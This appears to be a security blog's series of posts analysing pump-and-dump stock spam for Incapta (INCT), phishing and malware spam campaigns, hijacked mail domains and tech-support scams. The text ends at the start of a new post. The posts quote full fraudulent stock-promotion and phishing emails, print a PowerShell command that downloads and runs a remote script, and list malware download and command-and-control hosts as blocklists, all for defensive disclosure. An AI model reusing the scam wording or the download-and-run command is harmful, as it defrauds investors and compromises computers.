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Monday 20 March 2017

Pump and dump spam: Incapta Inc (INCT)

It's been a long time since I've seen a pump-and-dump spam run illegally pushing a stock as hard as this:

From:
To:
Date:    20 March 2017 at 09:30
Subject:    This stock is about to receive a buy out at 10 times its current market price...

Dear Subscriber,

It's been a long time since I sent you my special newsletter containing a hot stock tip.
The reason for that is because I really haven't had many opportunities to present to you.

Incapta Inc (ticker: INCT) is a company that was brought to my attention earlier this morning
by one of my colleagues at an M&A firm in manhattan.

It seems that a buy out from DJI is imminent at $1.37 per share and is set to be announced
next week on Tuesday, March 28.

INCT is a company that has revolutionized the drone industry by creating the first independent drones
that can be dispatched to areas of interest such as crime scenes, car chases, wild fires, etc.

The network of drones operates by connecting to a cloud and complex algorithms efficiently dispatch the drones
within moments of an incident being reported.

This way the media outlet that owns the drones can be the first to the scene and get exclusive, live-streamed.

This has the potential to literally change the world of news broadcasting as we know it and DJI
(the most prominent drone-maker in the world) sees the potential of this technology which is why
they are willing to pay $1.37 a share to acquire it. A premium of over 1,000% over Friday's closing price.

Tell all your friends about INCT and make sure you buy it as soon as possible today at any price under
20 cents a share to guarantee yourself massive profits.
This company has millions of dollars worth of expenditure and almost zero income [source].


Towards the end of 2015, the stock was valued at $31,350 a share (!) but is now worth about 13 cents [source].

The spam is being sent from a botnet to random addresses. I have no evidence to suggest that Incapta Inc is behind this, but this commentary at InvestorsHub is not flattering.

Pump and dump spam like this is a criminal activity, and typically companies being promoted in this way are in terminal decline (but not always). Avoid buying stocks on the recommendation of criminals.

[UPDATE] This company has some form, previously it was known as GameZnFlix and then TBC Global News Network.

UPDATE 1

A second version of the spam is going around..

From:
To:
Date:    20 March 2017 at 17:11
Subject:    You can make 10x on your money by next week if you buy this stock now.

Dear Subscriber,

Do you remember the last time I sent you a tip about a company worth buying in the market?

I was right on point as its shares shot up more than tenfold in under 7 days.
I had privileged information and I knew that something big was brewing.

It took me months to find the next stock that is somewhat similar to that last one I told you about,
but you can be certain that the upside potential is just as good.

Incapta Incorporated [symbol: INCT] is a company that is on the verge of being acquired by a large drone-maker competitor.

On March 28th (yes, next week) there is going to be something special announced that will take the share price from under 0.20 to over a dollar, overnight.

INCT specializes in the manufacturing of high-end specialized drones with real-world applications such as automated dispatching for news coverage by companies like CNN all the way to miniature drones which can be used to gather intelligence for the military, private investigators and police.

This cutting edge technology is changing the world as we know it, and INCT is at the forefront of it all which is why it’s being acquired and its share price is about to go ballistic.

Tell everyone you know to buy INCT right now and keep it on the low as much as possible.
UPDATE 2

Third version..

From:
To:
Date:    21 March 2017 at 07:17
Subject:    Find out now why this company is going up tenfold by this time next week.

Dear profit seeker,

It’s been quite some time since I sent you information about a stock worth buying, but the last time I did the shares soared more than 15x.

This means that if you had put in just a grand you would have gotten 15k out of it when all is said and done.

Even if you only get 2 or 3 tips from me per year, all of them are guaranteed winners because I base my recommendations on knowing privileged information.

I don’t want you to miss out again so keep on reading to find out which company is going up 1,000% by this time next Tuesday.

Incapta Inc [tickersymbol: INCT] is about to be entirely acquired by an enormous multibillion dollar corporation.

On the 28 of March you can expect to see a public announcement made which will outline the details of this acquisition with the most important detail being the price at somewhere around $1.40

This means if you buy and hold INCT right now you’ll have a guaranteed profit of a thousand percent.

INCT is a company which has built “cloud droning”. That’s basically the ability for drones to have their own mind as they connect to a network of artificial intelligence and work with each other autonomously.

It is for example possible to set up a feature to dispatch them whenever there is a car accident somewhere in order to be the first on the scene. There are also endless military applications for these drones as the company has been in talks with the US Army for months already.

Please keep this information to yourself, don’t tell your friends or family to buy the stock now. This is exclusive to my subscribers only.

Cheers.
UPDATE 3

Another variant. Incidentally, this appears to originate from the Necurs Botnet which has also pushed Locky and Dridex in the past.

From:
To:
Date:    21 March 2017 at 14:06
Subject:    Here is your chance to buy shares that will go up 10x by next week.

To all my subscribers,

As you obviously know, I have been quiet these last couple of months because I really have not had a stock worth recommending for purchase.

After the last stock’s 1,500% gains I really want to make sure that whatever I tell you to buy next will be a big winner since your expectations are high.

Today I want you to keep an eye on INCT (incapta inc) because something really huge is about to happen next week.

One of the gents I work with back in New York told me that INCT is on the verge of signing a deal to sell the company to a large multinational and this deal should be announced on Tuesday or Wednesday of next week and will carry a price per share of $1.38

I guess their special drone technology is too good to ignore, and a massive player wants to acquire all their know-how, IP and manufacturing capabilities.

That being said, this is a very rare opportunity to get in before the deal is officially announced and make a quick 10x on your principal in just 7 days.

Keep this on the low but do act quickly if you want to buy in. I recommend an entry point of 17 cents or under to maximize the upside.

All the best.

UPDATE 4

Another variant. The last time I looked, this spam run had persuaded people to buy more than six million shares in this company, which in my personal opinion appear to be worthless. There are only around 100 million shares, so this seems like a fair chunk.

From:
To:
Date:    22 March 2017 at 08:08
Subject:    This public company is being bought out. Read now to profit from it.

Dear valued member,

It has been a very long time since I emailed you about a rare investment opportunity.

You signed up to my newsletter because you were seeking to only invest in companies which I can guarantee will go up and I only email you when I know one will.

The last stock I told you to buy went up about 1000% and this next one is guaranteed a solid 1300% keep on reading to find out why.

INCT (incapta inc) is a drone-maker with proprietary algorithms which essentially bring drones to life. These algorithms give the drones the capability to act independent of a physical operator.

Because of they own this amazing technology which they developed in house, they have been receiving huge attention from the US Army as well as several private firms including DJI and Amazon.

A guy I work with at a mergers and acquisition firm in New York told me that INCT is about to be bought out for $1.37 per share on Tuesday or Wednesday of next week. He has always come through for me.

While INCT may currently seem stagnant, that’s because very few people know about this imminent deal so don't let that fool you.

I don't expect the stock price to swing much in either direction until the takeover is announced next week, at which point it will shoot up to around $1.37 overnight.

You know what to do if you want to profit when this happens.

Keep it on the hush, but do act quickly.

Best Regards,
Viola Haney

UPDATE 5

Another variant. So far over 12 million shares have been traded although the stock price has slumped 47% since yesterday. This is over 10% of the company that has been traded, bringing in around $140,000 for whoever holds them (and in my opinion the shares are worth nothing at all).

From:   
To:
Date:    22 March 2017 at 16:00
Subject:    Read Now: Why this company’s shares are guaranteed to soar next week.

Howdy,

We haven't communicated in a while and you might be wondering why I'm emailing you now out of the blue but it's because I have something very special to share with you.

Remember this last company I told you to buy a few months ago? It jumped around 1000% in like two weeks if you recall.

I've got another one of those to share with you today and you could make some serious profits with it if you buy it now.

INCT (incapta inc) is a high technology company that's got some very special and unique drone systems. In fact, their stuff in so interesting that even the United States government has taken notice of it.
Anyway I won't bore you with the details, so the reason why I am telling you about INCT is because a buy out is imminent.
A gentleman I've known for almost a decade now who works out of an m&a company in manhattan told me that on March 28 INCT will be bought out by a large corporation at a price of $1.38 a share.

The stock is down today (these things happen), but it's absolutely meaningless and shouldn't scare you in any way, shape or form because once the buy out is announced, this stock is going to shoot up to 1.38 in a matter of minutes which is essentially guaranteed gains of about 1400% from current prices.

The stock is down because some investors are selling. It must be that they haven't heard the news, and they will be feeling very stupid next week when the announcement is made public.

Keep this on the low and feel free to buy as many shares as you possibly can right now.

Take care,
Vivian Rogers

UPDATE 6

12.7 million shares have now been traded, out of 100 million shares in total. Who actually holds this much stock in Incapta, Inc? According to SEC filings.. one person. Amusingly, the spammers forgot to mention the actual stock they were pushing..

From:
To:
Date:    23 March 2017 at 08:07
Subject:    I've got strong reasons to believe that this stock is about to soar.

Alright, let's get right to it...

We've been out of touch for a while. I've been very busy looking for the next big stock that has the potential to explode and it took me months to find one.

If I can be honest, this one came to me as a god send. I got lucky. I have this friend who works at a law firm in NYC and we've known each other for a very long time.

Long story short, he told me that his firm is about to finalize a big takeover by a multibillion corporation. They're buying this tiny company that is now trading at just around 10 cents a share.

I couldn't believe my ears when I heard him say that they're paying somewhere between $1.30 and $1.39 for the company. The deal is closing and being announced mid next week.

I could get into what the company does, but who really cares right? All we need to know is that they are in the high tech industry and that this is going to be a huge buyout.

I recommend you buy shares as soon as possible today and wait it out until you get paid over $1.30 next week. The way takeovers work is that they will just credit this price per share, in cash, to your brokerage account and in exchange will take the shares that you bought at just pennies.

I may never have another tip like this, so cash in on it while you still can.
UPDATE 7

Another version pushing this (in my personal opinion) worthless stock. So far about 15 million of the apparently 100 million shares in this company have been traded, bringing SOMEBODY in more that $1.5m in cash. The profit they are getting depends on how much they paid of course.

From:
To:
Date:    24 March 2017 at 06:53
Subject:    Allow me to share something profitable with you today.

If you're wondering why I'm emailing you now, out of the blue, after months of radio silence let me tell you that I have a good reason for that.

Do you remember the last time I sent you a tip? It was around November if I recall correctly.

If you bought that stock I told you about back then, you would've quadrupled your money at the very least.

Now here we are, a few months later and I've got something else to tell you about.

Basically if you remember, I've got a good acquaintance who works at a law firm in New York and when I took him out to a fancy steak dinner last Monday (with lots of wine) he became very talkative and let me in on a little tip.

This is what I want to share with you today. He essentially told me that some time mid next week, a small company called incapta (ticker: INCT) is going to announce that it's being acquired by a giant for a little over 1.30 a share (yes over a dollar thirty, and yes it's at just under 15 cents now)

He knows this because his law firm is the one that drafted all the paperwork for the deal and they are expected to finalize and sign the agreements today, with the official announcement coming some time between Tuesday and Thursday.

If you buy shares today, you are guaranteed to make approximately tenfold next week. The way it works is if you're holding the shares they will just take them out of your account automatically and credit you with the cash equivalent to 1.37 or so which you can take out whenever you want and spend on nice things.

Keep me in mind when you're rolling in it. I expect a big thank you and maybe a small gift!
UPDATE 8

InCapta's CEO, John Fleming, issued a statement denying that the firm had anything to do with this "newsletter" (actually a massive, illegal spam run)

SAN DIEGO, CA / ACCESSWIRE / March 23, 2017 / InCapta, Inc. (OTC PINK: INCT) announced today that it has been made aware of and requested by the OTC Markets Group, Inc. to comment on recent trading and promotional activity concerning INCT common stock.

On March 22, 2017, OTC Markets informed the Company that it became aware of certain promotional activities concerning InCapta and its common stock. OTC Markets informed the company that it had received copies of promotional newsletter emails encouraging investors to purchase the Company's common stock. The Company has been informed that this promotional activity coincided with higher than average trading volume in the Company's stock. The Company was unaware of the promotional activity until informed by OTC Markets and is unaware of the full nature and content of this promotional activity, the responsible parties, and the extent of the email newsletters' dissemination.

InCapta states definitively that the Company, its officers, directors and, to the Company's knowledge, its controlling shareholders (i.e., shareholders owning 10% or more of the Company's securities) have not, directly or indirectly, authorized or been involved in any way (including payment to a third-party) with the creation or distribution of promotional materials including these email newsletters; and that the Company, its officers, directors and, to the knowledge of the Company, any controlling shareholders, have not sold or purchased the Company's securities within the past 30 days other than as specified below.

"The Company is not aware of the promotional materials' author or its affiliated entities or persons. The Company's recent press releases have reported on and provided disclosure of legitimate and ongoing corporate activity only, and are not part of any promotional activities or campaign," stated John Fleming, CEO of InCapta. The Company encourages those interested in the Company to rely solely on information included in its press releases combined with its filings and disclosures made with OTCMarkets Group. The Caveat Emptor warning is mandated for 30 days, wherein a review by OTCMarkets shall take place to decide on its removal. The Company is determined to take appropriate measures in this time to satisfy, without delay, any and all concerns which brought on the label. We thank OTCMarkets for their openness and consideration to the investors of InCapta.

About InCapta, Inc.
InCapta, Inc., formerly known as TBC Global News Network, Inc., is a media holding company, which works with clients to develop, operate, and market online cloud Television networks and other entertainment projects. The Company participates in various fields of online business models by providing executive level managerial assistance as well as arranging for clients online presence through social media.

[Legalese snipped for readability]

CONTACT
John Fleming
InCapta, Inc.
Tel: (619) 798-9284
hxxp://www.incapta.com
SOURCE: InCapta, Inc.





Wednesday 15 February 2017

Malware spam: "RBC - Secure Message" / service@rbc-secure-message.com

This fake banking email leads to some sort of malware:



From:    RBC - Royal Bank [service@rbc-secure-message.com]
Date:    15 February 2017 at 17:50
Subject:    RBC - Secure Message
Signed by:    rbc-secure-message.com


Secure Message Secure Icon
This is an automated message send by Royal Bank Secure Messaging Server. To ensure both you and the RBC Royal Bank comply with current legislation, this message has been encrypted. Please check attached documents for more information.

Note: You should not store confidential information unless it is encrypted.
CONFIDENTIALITY NOTICE:The contents of this email message and any attachments are intended solely for the addressee(s)and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.


RBCSecureMessage.doc
44K



Attached is a file RBCSecureMessage.doc which contains some sort of macro-based malware. It displays the following page to entice victims to disable their security settings.



Automated analysis is inconclusive [1] [2].  The domain rbc-secure-message.com is fake and has been registered solely for this purpose of malware distribution. In all the samples I saw, the sending IP was 64.91.248.146 (Liquidweb, US) but it does look like all these IPs in the neighbourhood are involved in the same activity:

64.91.248.137
64.91.248.146
64.91.248.148
64.91.248.150

I recommend you block 64.91.248.128/27 at your email gateway to be sure.





Highly personalised malspam making extensive use of hijacked domains

This spam email contained not only the intended victim's name, but also their home address and an apparently valid mobile telephone number:

Sent: 14 February 2017 13:52
To: [redacted]
From: <customer@localpoolrepair.com>
Subject: Mr [Redacted] Your order G29804772-064 confirmation


Dear Mr [redacted],

Thank you for placing an order with us.

For your reference your order number is G29804772-064.

Please note this is an automated email. Please do not reply to this email.

Get your order G29804772-064 details

Your order has been placed and items in stock will be sent to the address shown below. Please check all the details of the order to ensure they are correct as we will be unable to make changes once the order has been processed. You will have been notified at the point of order if an item is out of stock already with expected delivery date.

Delivery Address
[address redacted]
[telephone number redacted]

Delivery Method:
Standard Delivery


Your Order Information
Prices include VAT at 20%


Customer Service Feedback
We are always working to improve the products and service we provide to our customers - we do this through a continual review of the product range, and ongoing training of our Customer Service Team. We continually strive to improve our levels of service and we welcome feedback from our customers regarding your buying experience and the product you receive.

Feefo Independent Reviews
21 days after your purchase, you will receive an email from the independent feedback company Feefo. It takes less than a minute to complete and we'd really appreciate your feedback!


IMPORTANT INFORMATION ABOUT YOUR ORDER

Delivery

Order Tracking
Once your order has left our warehouse we will email you to confirm that the items have been shipped and include tracking details of the parcel so that you may track delivery progress directly with our courier company.

Stock Availability
On very rare occasions not every item will be available when we come to pack and despatch your order. If this is the case you will receive an email from us letting you know which items are affected and an expected delivery time.

Product Returns
All items purchased are covered by our customer friendly returns policy. Please visit for full details.
Thank you for placing your order with us. We really appreciate your custom and will do everything within our power to ensure you get the very best of service.

The data in the spam was identifiable as being a few years old. The intended victim does not appear on the haveibeenpwned.com database. My assumption is that this information has been harvested from an undisclosed data breach.

I was not able to extract the final payload, however the infection path is as follows:

http://bebracelet.com/customerarea/notification-processing-G29804772-064.doc
--> http://customer.abudusolicitors.com/customerarea/notification-processing-G29804772-064.doc
--> https://customer.affiliate-labs.net/customerarea/notification-processing-G29804772-064.zip

This ZIP file actually contains a .lnk file with the following Powershell command embedded in it:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -nop -ep bypass -nologo -c IEX ((New-Object Net.WebClient).DownloadString('http://cristianinho.com/lenty/reasy.ps1'));

I couldn't get a response from the server at cristianinho.com [5.152.199.228 - Redstation, UK], this looks like a possibly legitimate but hijacked domain that uses nameservers belonging to Namecheap. But that's not the only Namecheap connection, because the two "customer" subdomains are also using Namecheap hosting (for the record the subdomains are hosted on - 185.130.207.37 and 185.141.165.204 which is Host1Plus, UK / Digital Energy Technologies, DE).

Three connection to Namecheap is worrying, and certainly we've seen hijacking patterns involving other domain registrars. Or it could just be a coincidence..

The email originated from mx119.argozelo.info on 188.214.88.119 (Hzone, Romania). Just on a hunch, I checked the domain argozelo.info and it appears to be a wholly legitimate site about a Portuguese village, registered at GoDaddy hosted on Blogger. So why does it need a dedicated mail server?

Well.. this particular rabbit hole goes a little deeper. mx119 gives a clue that there might be more than one mailsever, and indeed there are 34 of the critters name mx110.argozelo.info through to mx143.argozelo.info hosted on 188.214.88.110 through 188.214.88.142. But according to Wikipedia, Argozelo only has about 700 inhabitants, so it seems unlikely that they'd need 34 mailservers in Romania.

So, my guess is that argozelo.info has also been hijacked, and hostnames set up for each of the mailservers. But we're not quite finished with this rabbit hole yet. Oh no.

What caught my eye was a mailserver on 188.214.88.110 (the same as mx110.argozelo.info) named mail.localpoolrepair.com which certainly rang a bell because the email was apparently from customer@localpoolrepair.com - yeah, OK.. the "From" in an email can be anything but this can't be a coincidence.

localpoolrepair.com appears to be a legitimate but unused GoDaddy-registered domain, hosted at an Athenix facility in the US. So why is there a mailserver in a Romanian IP block? A DIG at the records for this domain are revealing:

 Query for localpoolrepair.com type=255 class=1
  localpoolrepair.com SOA (Zone of Authority)
        Primary NS: dns.site5.com
        Responsible person: hostmaster@site5.com
        serial:2017021207
        refresh:3600s (60 minutes)
        retry:3600s (60 minutes)
        expire:604800s (7 days)
        minimum-ttl:3600s (60 minutes)
  localpoolrepair.com A (Address) 143.95.232.95
  localpoolrepair.com MX (Mail Exchanger) Priority: 10 mail.localpoolrepair.com
  localpoolrepair.com NS (Nameserver) dns2.site5.com
  localpoolrepair.com NS (Nameserver) dns.site5.com
  localpoolrepair.com TXT (Text Field)
    v=spf1 ip4:188.214.88.110/31 ip4:188.214.88.112/28 ip4:188.214.88.128/29 ip4:188.214.88.136/30 ip4:188.214.88.140/31 ip4:188.214.88.142/32  ~all
So.. the SPF records are valid for sending servers in the 188.214.88.110 through 188.214.88.142 range. It looks to me as if localpoolrepair.com has been hijacked and these SPF records added to it.

So we have hijacked legitimate domains with presumably a neutral or good reputation, and we have valid SPF records. This means that the spam will have decent deliverability. And then the spam itself addresses the victim by name and has personal details presumably stolen in a data breach. Could you trust yourself not to click the link?

Recommended blocklist (email)
188.214.88.0/24

Recommended blocklist (web)
5.152.199.228
185.130.207.37
185.141.165.204




Monday 23 January 2017

WARNING: pmacademyusa.org / "Project Management Academy USA"

For the past six years I have been following the exploits of Patchree "Patty" Patchrint and Anthony Christopher Jones who claim to run a series of seminars on project management and grant writing. Umm.. and failed restaurants in Los Angeles. I'm not going to repeat all of the information in this post, I advise you to read the whole story.

This latest scheme is a quite snazzy-looking website at  www.pmacademyusa.org called "Project Management Academy USA".

The website may look professional, but it is simply done using the WIX website builder:


You'll notice that the site supplies no information at all about who runs it. However a useful tip alerted me to the site, which is basically a more glitzy version of the Institute of Project Management America from a few years back, including this lazy example of copypasta:

About Project Management Academy USA
At Project Management Academy USA, our programs are led by practitioners-working professionals who are experts in the process of maximizing results using professional project management practices. Modern industry needs results driven professionals who are focused on a disciplined dedication to effective project management from initiation to closing. We strive to combine real-world scenarios, actual case-studies, with the knowledge provided by PMI and academic foundations to create certified project managers who are prepared for further certification and credential. Our programs are ultra-foundational, meaning they ensure attainment of the universal basics of project management, prepare participants for certification exams, and provide the advantage of our mastery components, which are unique to our programs and are followed by a Masters designation.
They currently advertise courses running in the following locations:
January 17-20, 2017
University of Southern California
8:00am to 5:00pm

February 21-24, 2017
University of Miami
8:00am to 5:00pm

February 28 - March 3, 2017
University of Texas at Austin
8:00am to 5:00pm

March 21-24, 2017
University of California Berkeley
8:00am to 5:00pm

March 28-31, 2017
University of Chicago
8:00am to 5:00pm
Funnily enough, the venue seems to be changed at the last minute from the prestigious university it was advertised at to some other location in the rough vicinity. And also, at the last moment the person who was meant to be teaching the course is substituted at the last moment for someone who has to fill in and mysteriously seems to have problems getting paid (if this is you then please add a comment below).

If you have doubts about the quality of these causes, I urge you to read the posts and especially the comments that go with them. Those are not my words, but the words of the people unfortunate enough to either pay for a course or who turn up to teach.


Thursday 19 January 2017

Malware spam: "The Insolvency Service" / "Investigations Inquiry Notification" / chucktowncheckin.com / chapelnash.com

This malware spam in unusual in many respects. The payload may be some sort of ransomware [UPDATE: this appears to be Cerber].

From: The Insolvency Service [mailto:service@chucktowncheckin.com]
Sent: 19 January 2017 12:22
Subject: EGY 318NHAR12 - Investigations Inquiry Notification



Company Investigations Inquiry
Informing You that we have received appeal regarding your company which indicates corporate misconduct.
Your Inquiry Number: 84725UPTN583
As part of this occasion we have made our own background investigation and if it occurs to be in the public interest, we can apply to the court to wind up the company and stop it trading.
Also if the performance of the director(s) who run the company is questionable enough, we can commence proceedings to disqualify them from governing a limited company for a time span up to 15 years.
FURTHER CASE DATA
The investigation can give us information that we can transmit to another regulatory body that has more suitable powers to deal with any concerns the investigation uncovers.
Help Cookies Contact Terms and conditions Rhestr o Wasanaethau Cymraeg
Built by the Government Digital Service
All content is available under the Open Government Licence v3.0, except where otherwise stated   
© Crown copyright

Sample subjects are:

LSV 354EMPU31 -  Investigations Inquiry Reminder
JXI 647TESR39 -  Investigations Inquiry Reminder
SHV 622WYXP68 -  Investigations Inquiry Notice
QPY 661APWZ41 -  Investigations Inquiry Notice
FHF 338SYBV85 -  Investigations Inquiry Notice
EGY 318NHAR12 -  Investigations Inquiry Notification
IZJ 296CNWP92 -  Investigations Inquiry Notice

All the senders I have seen come from the chucktowncheckin.com domain. Furthermore, all of the sending servers are in the same /24:

194.87.216.87
194.87.216.62
194.87.216.40
194.87.216.43
194.87.216.3
194.87.216.7
194.87.216.80

All the servers have names like kvm42.chapelnash.com in a network block controlled by Reg.ru in Russia.

The link in the email goes to some hacked WordPress site or other, then ends up on a subdomain of uk-insolvencydirect.com e.g. 2vo4.uk-insolvencydirect.com/sending_data/in_cgi/bbwp/cases/Inquiry.php - this is a pretty convincing looking page spoofing the UK government, asking for a CAPTCHA to download the files:


Entering the CAPTCHA downloads a ZIP file (e.g. 3d6Zy.zip) containing a malicious Javascript (e.g. Inquiry Details.js) that looks like this [Pastebin].

Hybrid Analysis of the script is rather interesting, not least because it performs NSLOOKUPs against OpenDNS servers (which is a really weird thing to do give that OpenDNS is a security tool).

The script downloads a component from www.studiolegaleabbruzzese.com/wp-content/plugins/urxwhbnw3ez/flight_4832.pdf and then drops an EXE with an MD5 of e403129a69b5dcfff95362738ce8f241 and a detection rate of 5/53.

Narrowing the Hybrid Analysis down to just the dropped EXE, we can see these peculiar OpenDNS requests as the malware tries to reach out to:

soumakereceivedthiswith.ru (176.98.52.157 - FLP Sidorenko Aleksandr Aleksandrovich, Russia)
sectionpermiathefor.ru (151.0.42.255 - Online Technologies, Ukraine)
programuserandussource.ru (does not resolve)
maytermsmodiall.ru (does not resolve)

It isn't exactly clear what the malware does, but you can bet it is Nothing Good™.

I recommend that you block email traffic from:

194.87.216.0/24

and block web traffic to

uk-insolvencydirect.com
studiolegaleabbruzzese.com
176.98.52.157
151.0.42.255



Thursday 12 January 2017

Scam: 01254522444, the fake BT engineer and 888DCA60-FC0A-11CF-8F0F-00C04FD7D062

In the past few weeks I have seen a huge upsurge in the number of Indian tech support scammers ringing, both at home and my place of work. (For example.. this).

One common trick they use revolves around this hexadecimal number 888DCA60-FC0A-11CF-8F0F-00C04FD7D062. Either it's a signal that hackers are at your PC, or it's your secret router ID that only BT would know.

The conversation goes something like this..

Victim: "But I don't get my internet from BT.."

Scammer: "BT provides all the internet connections for everyone else, including TalkTalk and Virgin Media."

Victim: "How do I know you're from BT?

Scammer: "There is a confidential Router ID that only BT will know. You can verify this to prove that we are BT."

The scammer then talks the victim through pressing -R then CMD (followed by OK) and then ASSOC (followed by RETURN). That simply produces a list of file associations (e.g. to say that .xlsx is an Excel spreadsheet). The line they want you to see is:
.ZFSendToTarget=CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
This is just something to do with how Windows  handles compressed files and folders. All Windows machines should have t his entry, but it looks sufficiently scary about to impress at least some victims.

NEVER GIVE THESE PEOPLE ACCESS TO YOUR PC.

However, if you want to waste their time please do so.. if you work in IT you can probably play a convincingly dumb user. It seems that they will try for up to 40 minutes or so before they give up. Alternatively, say that you have to get your laptop out from somewhere and it is very slow and just put them on hold. Every minute of their time you can waste will stop them targeting other potential victims.

And don't just ignore the call - report it. If you are in the UK you can report this sort of scam to Action Fraud - it will certainly help law enforcement if they have an idea of how many potential victims there are.

Friday 23 December 2016

02085258899 - tech support scam (using anydesk.com, teamviewer.com and supremofree.com)

If these people ring you DO NOT GIVE THEM ACCESS TO YOUR PC and either hang up - or waste their time like I do.

It seems there are some prolific technical support scammers ringing from 02085258899 pretending to be from BT. They had a very heavy Indian accent, and they have made many silent calls to my telephone number before today. They claim that hackers are accessing my router.

I wasted 37 minutes of their time, these are some of the steps to watch out for..

  1. They get you to open a command prompt and type ASSOC which brings up a big long list of file associations, in particular they seem interested in one that says .ZFSendToTarget=CLSID\{888DCA60-FC0A-11CF-8F0F-00C04FD7D062}
  2. Then they get you to bring up the Event Viewer by typing EVENTVWR and then clicking "Custom Views" and "Administrative Events". This is a log file that will always show a whole bunch of meaningless errors (such as network faults). It's quite normal for this to look quite bad to the untrained eye.
  3. Then in order they try to get you to connect to the following services to take remote control of your PC: www.anydesk.com, www.teamviewer.com and www.supremofree.com. All of these are legitimate services,but I have to confess I'd never heard of the last one.. so I will add it to my corporate blacklist.
  4. When those didn't work they tried directing me to a proxy at hide.me/proxy and www.hide.me/proxy (the same thing I know) which is probably another candidate for blocking.
Of course, once they have access to your PC they will try to convince you that you need to pay them some money for technical support. Be warned, that they can render your PC unusable if you don't pay, and they can also steal confidential data. Despite how many times they may tell you they are from BT, they are not.. they are simply fraudsters.

Monday 19 December 2016

Malware spam: "Payslip for the month Dec 2016." leads to Locky

This fake financial spam leads to Locky ransomware:

From:    PATRICA GROVES
Date:    19 December 2016 at 10:12
Subject:    Payslip for the month Dec 2016.

Dear customer,

We are sending your payslip for the month Dec 2016 as an attachment with this mail.

Note: This is an auto-generated mail. Please do not reply.
The name of the sender will vary. Attached is a malicious Word document with a name like Payslip_Dec_2016_6946345.doc which has a VirusTotal detection rate of 12/55.

This Hybrid Analysis clearly shows Locky ransomware in action when the document is opened.

According to my usual reliable source, the various versions of this download a component from one of the following locations:

023pc.cn/8hrnv3
aguamineralsantacruz.com.br/8hrnv3
allard-g.be/8hrnv3
as-kanal-rohrreinigung.de/8hrnv3
aspecta-aso.net/8hrnv3
audehd.com/8hrnv3
audreyetsteve.fr/8hrnv3
baugildealtmark.de/8hrnv3
berstetaler.de/8hrnv3
birdhausdesign.com/8hrnv3
bperes.com.br/8hrnv3
brainfreezeapp.com/8hrnv3
delreywindows.com/8hrnv3
democracyandsecurity.org/8hrnv3
factoryfreeapparel.com/8hrnv3
garosero5.com/8hrnv3
globaser3000.com/8hrnv3
grafiquesvaros.com/8hrnv3
routerpanyoso.50webs.com/8hrnv3
skyers.awardspace.com/8hrnv3
www.andmax-rehabilitacja.pl/8hrnv3
www.bandhiga.com/8hrnv3
www.clinicafisiosan.com/8hrnv3
www.de-klinker.be/8hrnv3
www.foyerstg.pro/8hrnv3
www.globalchristiantrust.com/8hrnv3
www.neumayr-alkoven.com/8hrnv3
zimbabweaids.awardspace.com/8hrnv3

The malware then phones home to one of the following locations:

176.121.14.95/checkupdate (Rinet LLC, Ukraine)
193.201.225.124/checkupdate (PE Tetyana Mysyk, Ukraine)
188.127.237.76/checkupdate (SmartApe, Russia)
46.148.26.82/checkupdate (Infium, Latvia / Ukraine)


A DLL is dropped with a detection rate of 12/52.

Recommended blocklist:
176.121.14.95
193.201.225.124
188.127.237.76
46.148.26.82



Thursday 15 December 2016

Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

028cdxyk.com/mltxgc1
1688daigou.com/csuix
2lazy4u.de/ca4yq
adv-tech.ru/7p1jia
allan.multimediedesignerskive.dk/pohtr8mwl
amaniinitiative.org/ubaupn
artcoredesign.com/9ihg6by
atelier-coccolino.com/cvpphnaf7o
auto-zakaz.com.ua/phwcg
bantiki.me/hzzgidch
bikebrowse.com/qap3je2
blueprint-dsg.com/dtr22
bvntech.com/amrwwxei
chonamyoung.com/9vsdld
cprsim.com/h9o3msx
dealspari.com/r2jvx5h6kc
demo.ahost5.ru/dhvzqqbo
demo.pornuha4you.com/lba7ajvti
deutsch.awardspace.info/0zetkhmp
dicksmacker.com/qq4ctnrgc
dryerventexpress.com/pnpafot9g
elevationmusic.de/6gcg6
e-studiz.com/hn0hl7i
formatwerbung.de/axxlilgd
gieslerdavies.com/cjhwnit
goldenarms.myjino.ru/3wn40qkg
gwerucity.org.zw/a3fsqhu9od
happyfeet.de/7rebctpqn5
hho68.com/hbowe
honestflooring.com/85i95u6vd
houssiere.daniel.formations-web.alsace/npqddd8b
infinitecorp.ca/to7jp7
kawagebook.com/5cbwdd5hap
kayamuh.sarf.com.tr/nou0chc
ledticket.com/pbmcdnx5rj
lucapotenziani.com/zjtguxf
mainlinecarriers.co.tz/ycj7o
martawyczynska.com/ilfvn
mbdvacations.com/ou8kkem
movewithgrace.ca/r8omwc
obccllc.com/tze5um3hh
old.strommarnas.se/yazezuw7og
seven-cards.com/xe2llygi
spikaflora.ru/zyubd6mlb
store.elixe.net/jltuvjpcsh
test1.zrise.top/isk90e
testlife.ruyigou.com/pv2ryezg7
theexcelconsultant.com/vp9u7tpa
thezenatwork.com/yd2c49vg0
topstoneisland.com/ud4jqd
tunca.bel.tr/uo3jnqkgxn
ustadhanif.com/q0w93lkrvp
www.boldrini.org.br/csneth51
www.chocolaterie-servant.com/1l38y2p
www.englishworld.it/w6ynmr
www.kottalgenealogy.com/vkwf5rll0s
www.sapol.it/ou8e1ftep
zapotech.com/sqagj4
zhongguanjiaoshi.com/mklu7

The malware then phones home to the following locations:

185.129.148.56/checkupdate (MWTV, Latvia)
178.209.51.223/checkupdate [hostname: 454.SW.multiservers.xyz] (EDIS, Switzerland)
37.235.50.119/checkupdate [hostname: 454.2.SW.multiservers.xyz] (EDIS, Switzerland)


Recommended blocklist:
185.129.148.0/24
178.209.51.223
37.235.50.119

Malware spam: "Amount Payable" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Lynn Drake
